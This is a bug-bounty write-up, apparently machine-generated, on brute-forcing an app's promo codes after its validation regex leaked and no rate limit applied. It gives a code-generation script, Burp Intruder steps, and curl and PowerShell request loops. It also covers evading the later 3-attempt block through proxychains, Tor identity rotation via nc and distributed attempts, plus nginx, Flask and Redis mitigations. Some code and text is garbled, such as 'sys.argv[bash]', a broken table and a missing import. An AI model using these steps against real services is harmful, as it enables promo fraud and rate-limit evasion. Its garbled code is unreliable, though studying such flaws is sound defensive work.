How I Cracked A 00 Promo Code Vulnerability: No Rate Limit + Regex Leak = Brute-Force Gold + Video

Introduction:

Exposing the exact regex pattern and length constraints of promo code validation logic gives attackers a blueprint for brute‑force attacks. When no rate limiting is enforced, even a simple Python script combined with Burp Intruder can generate thousands of valid codes, turning a “medium” severity bug into a high‑impact financial exploit.

Learning Objectives:

Understand how leaked regex patterns (e.g., [a-z0-9]+) and length restrictions enable precise promo code brute‑forcing.
Learn to exploit missing rate limiting using Python payload generation and Burp Intruder.
Implement layered mitigations including rate limiting, CAPTCHA, and cryptographically secure promo codes.

The Vulnerability: Regex Pattern Disclosure and Weak Validation

The post reveals a JSON rule that defines promo code validation:

{"rule":"regexp","pattern":"[a-z0-9]+","flag":"i","message":"Incorrect promo code..."},
{"rule":"length","min":10,"max":10,"message":"Incorrect promo code..."}

What this tells an attacker:

Character set: `a-z0-9` with case‑insensitive flag (i) → effectively `a-zA-Z0-9` (62 possible chars).
Fixed length: exactly 10 characters.
No additional entropy or cryptographic signing.

Step‑by‑step extraction:

Intercept the app’s response when an invalid promo code is submitted.
Look for JSON error messages containing rule, pattern, or length.
Copy the regex and length constraints to build a targeted brute‑force wordlist.

This design flaw turns promo code validation into a solvable combinatorial problem: `62^10 ≈ 8.4 × 10^17` possibilities – still huge, but the absence of rate limiting makes online brute‑forcing feasible for short, human‑generated codes or leaked seeds.

Crafting the Payload: Python Script for Promo Code Generation

The attacker used `online-python.com` to compile a generator. Below is the exact script with improvements for targeted brute‑forcing:

import random
import string
import sys

def generate_promo_code(length=10, charset=None):
if charset is None:
 Matches [a-zA-Z0-9] (case-insensitive regex)
charset = string.ascii_letters + string.digits
return ''.join(random.choice(charset) for _ in range(length))

Generate 100 codes for initial testing
num_codes = int(sys.argv[bash]) if len(sys.argv) > 1 else 100
codes = [generate_promo_code() for _ in range(num_codes)]

for code in codes:
print(code)

To use:

python3 promo_gen.py 10000 > promocodes.txt

Linux command to test first 10 codes:

head -n 10 promocodes.txt

Windows PowerShell equivalent:

1..100 | ForEach-Object { -join ((48..57) + (65..90) + (97..122) | Get-Random -Count 10 | % {[bash]$_}) }

Executing the Attack: Burp Intruder for No Rate Limit Exploitation

The root cause was no rate limit – the app never blocked after 100 trials, allowing up to 10,000+ attempts.

Step‑by‑step with Burp Suite:

Capture request – Submit any promo code, intercept the POST request (e.g., POST /apply_promo).
Send to Intruder – Right‑click → “Send to Intruder”.
Set payload position – Highlight the promo code parameter value, click “Add §”.
Load payloads – Go to “Payloads” tab → “Load” → select promocodes.txt.
Disable throttling – Under “Resource pool”, set “Maximum concurrent requests” to 20 (or more) and remove delays.
Start attack – Click “Start Attack”. Monitor response lengths; successful codes will return a different status or body.

Why this worked:

No rate limiting → all 100 requests processed instantly.
No CAPTCHA or IP blacklisting.
The leaked regex made every generated code structurally valid.

After the fix (3 attempts then “try again in a few minutes”):
– Attackers can still bypass by rotating IPs (proxies, VPN, Tor) or waiting between bursts.
– A distributed attack with 1,000 IPs each trying 3 codes yields 3,000 attempts per few minutes.

4. Linux/Windows Commands for Rate Limit Testing

To verify if a target has rate limiting, use these command‑line tools.

Linux – cURL with loop:

for i in {1..100}; do 
curl -X POST https://target.com/api/promo \
-H "Content-Type: application/json" \
-d "{\"code\":\"test$i\"}" \
-w "\nHTTP %{http_code}\n"
sleep 0.1  remove this to test no-rate-limit
done

Linux – using Apache Bench (ab):

ab -n 200 -c 10 -p post_data.txt -T application/json https://target.com/api/promo

Windows PowerShell:

$headers = @{"Content-Type"="application/json"}
1..100 | ForEach-Object {
$body = @{code="test$_"} | ConvertTo-Json
Invoke-RestMethod -Uri "https://target.com/api/promo" -Method Post -Headers $headers -Body $body
}

Testing for rate limit response:

– `429 Too Many Requests` → rate limiting active.
– `200 OK` for all attempts → vulnerable.
– `403 Forbidden` after N attempts → temporary block, but still bypassable.

Mitigation Strategies: Implementing Rate Limiting and Stronger Validation

Step‑by‑step rate limiting with Nginx (Linux):

 In nginx.conf http block
limit_req_zone $binary_remote_addr zone=promo:10m rate=3r/m;

In server/location block
location /api/promo {
limit_req zone=promo burst=5 nodelay;
limit_req_status 429;
proxy_pass http://backend;
}

Step‑by‑step with Flask‑Limiter (Python API):

from flask import Flask, request, jsonify
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

app = Flask(<strong>name</strong>)
limiter = Limiter(app, key_func=get_remote_address)

@app.route('/api/promo', methods=['POST'])
@limiter.limit("3 per minute")
def apply_promo():
code = request.json.get('code')
 validation logic
return jsonify({"success": True})

Better promo code design (cryptographically signed):

import hmac, hashlib, base64

def generate_secure_code(user_id):
message = f"{user_id}:{int(time.time())}"
signature = hmac.new(b"secret_key", message.encode(), hashlib.sha256).digest()
code = base64.urlsafe_b64encode(message.encode() + signature).decode()[:10]
return code

This makes codes unpredictable even if regex is leaked.

6. Advanced Exploitation: Bypassing “3 Attempts then Block”

The fix described (3 attempts, then “try again in a few minutes”) is weak. Attackers can:

Rotate IP addresses – Use a proxy list (free or paid) and send 3 attempts per IP.

Using proxychains on Linux
proxychains4 curl -X POST https://target.com/api/promo -d '{"code":"test"}'

Tor IP rotation – Start Tor service and change identity via SIGNAL NEWNYM.

Send NEWNYM signal to Tor controller
echo -e 'AUTHENTICATE "password"\r\nSIGNAL NEWNYM\r\nQUIT' | nc 127.0.0.1 9051

Distributed botnet – Even 1,000 volunteers each trying 3 codes yields 3,000 attempts per block window.

Detection & mitigation:

Implement exponential backoff (1 min, 5 min, 30 min, 1 hour).
Use CAPTCHA after the first failure instead of just counting attempts.
Fingerprint browser (TLS, headers) in addition to IP.

7. Hardening Recommendations: Beyond Rate Limiting

| Layer | Control | Example |

|-|||

Example Redis rate limiter (Linux command line):

 Increment attempt counter for IP, expire after 60 seconds
redis-cli INCR rate:192.168.1.1
redis-cli EXPIRE rate:192.168.1.1 60
 If value > 3, block

Windows IIS rate limiting via URL Rewrite:

<rule name="Rate Limit Promo" stopProcessing="true">
<match url="api/promo" />
<conditions>
<add input="{HTTP_X_FORWARDED_FOR}" pattern="(.+)" />
</conditions>
<action type="CustomResponse" statusCode="429" />
</rule>

What Undercode Say:

Key Takeaway 1: Leaking validation logic (regex, length) in error messages turns a black‑box brute‑force into a precise, automated attack. Never expose internal rules to the client.
Key Takeaway 2: Rate limiting is not optional. Without it, even 10‑character alphanumeric codes fall to online brute‑force using simple Python + Burp Intruder. The fix (3 attempts + temp block) is easily bypassed via IP rotation.

Analysis: The $300 bounty highlights a recurring OWASP API Security Top‑10 issue (API4: Lack of Rate Limiting). The attacker’s out‑of‑the‑box thinking – using the leaked regex to generate only structurally valid codes – drastically reduced noise and increased success rate. However, the real lesson is that promo codes should be unpredictable tokens, not deterministic strings derived from patterns. Even with rate limiting, a 62^10 keyspace is too small for offline brute‑force if the hashed code database leaks. A better approach: store salted hashes of single‑use codes and enforce strict per‑account consumption limits.

Prediction:

As organizations rush to deploy GenAI and microservices, rate limiting misconfigurations will remain the 1 gateway for brute‑force and resource exhaustion attacks. AI‑driven anomaly detection (e.g., behavioral analysis of request patterns) will become standard to complement static rate limits. In 2‑3 years, we will see real‑time “adaptive throttling” systems that automatically increase friction (CAPTCHA, delays) based on ML‑detected attack patterns, rather than hardcoded attempt thresholds. However, until then, the simple lack of a `429` response will keep fueling low‑effort, high‑reward bug bounties like this $300 find.

▶️ Related Video (74% Match):

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IT/Security Reporter URL:

Reported By: Sans1986 My – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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